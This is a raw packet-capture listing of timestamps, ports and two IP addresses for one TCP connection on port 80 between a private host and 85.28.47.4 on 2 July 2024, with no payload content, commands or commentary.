Jul 2, 2024 12:21:04.366744041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366744041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.366908073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.366913080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367036104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367041111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367050886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367052078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367057085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367063046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367074013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367079020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367084980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367089033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367093086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367094994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367099047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367100954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367132902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367183924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367189884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367201090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367207050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367208004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367212057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367218018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367222071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367228031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367228031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367233038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367238998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367249012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367305040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367305040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367934942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367940903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367950916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367957115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367963076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367974043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367980003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367985010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.367985010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.367990971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.368005037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.368036032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453083038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453090906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453098059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453131914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453136921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453141928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453152895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453155041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453187943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453229904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453242064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453260899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453286886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453341007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453346014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453351021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453361988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453368902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453396082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453423977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453568935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453574896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453586102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453591108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453597069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453607082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453610897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453612089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453617096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453649044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453689098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.453988075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453994036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.453999996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454004049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454036951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454041004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454046965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454052925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454057932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454118013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454286098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454291105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454349995 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454364061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454370975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454379082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454385042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454390049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454395056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454405069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454411030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454412937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454438925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454474926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454597950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454602957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454612970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454618931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454623938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454631090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454639912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454680920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454739094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454745054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454756975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454761982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454766989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454782009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454806089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454895973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454901934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454911947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454917908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454924107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454933882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454938889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454948902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454955101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454955101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454960108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454961061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.454969883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454976082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.454982042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455010891 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455146074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455152035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455163002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455224037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455281019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455286980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455296993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455302954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455307961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455313921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455322981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455364943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455532074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455538034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455553055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455560923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455570936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455575943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455579042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455585957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455591917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455601931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455606937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455611944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455614090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455622911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455621958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455629110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.455647945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.455686092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456079960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456084967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456095934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456100941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456105947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456110954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456121922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456126928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456136942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456141949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456145048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456146955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456152916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456159115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456162930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456171989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456176043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456197977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456223965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456223965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456579924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456585884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456590891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456597090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456607103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456612110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456621885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456626892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456631899 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456633091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456644058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456650019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456653118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456693888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456845045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456851006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456897974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.456947088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456954002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456964970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456970930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456975937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456985950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456990957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.456995010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.457026958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.541965961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.541990995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.541997910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542010069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542023897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542074919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542081118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542093039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542097092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542104006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542130947 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542150974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542201996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542238951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542243958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542279005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542360067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542366028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542376995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542382956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542395115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542402983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542469025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542538881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542551041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542557001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542598963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542612076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542618036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542705059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542742014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542748928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542759895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542766094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542771101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542783976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.542790890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542817116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.542829990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543056965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543062925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543126106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543523073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543529034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543540955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543576956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543576956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543584108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543590069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543595076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543602943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543620110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543652058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543684006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543689966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543700933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543705940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543711901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543718100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543723106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543728113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543730021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543751955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543783903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543803930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543809891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543821096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543827057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543832064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543836117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543847084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543852091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543855906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543857098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543868065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543873072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543875933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543919086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543920994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543920994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.543941975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543953896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.543996096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544107914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544114113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544120073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544126034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544137955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544143915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544157028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544164896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544203043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544281006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544409990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544467926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544473886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544492960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544500113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544506073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544511080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544516087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544519901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544521093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544528008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544533968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544538975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544543982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544547081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544548988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544570923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544619083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.544835091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544841051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544856071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.544884920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545049906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545052052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545056105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545067072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545072079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545078039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545087099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545093060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:04.545093060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:04.545099020 CEST	80	49699	85.28.47.4	192.168.2.7
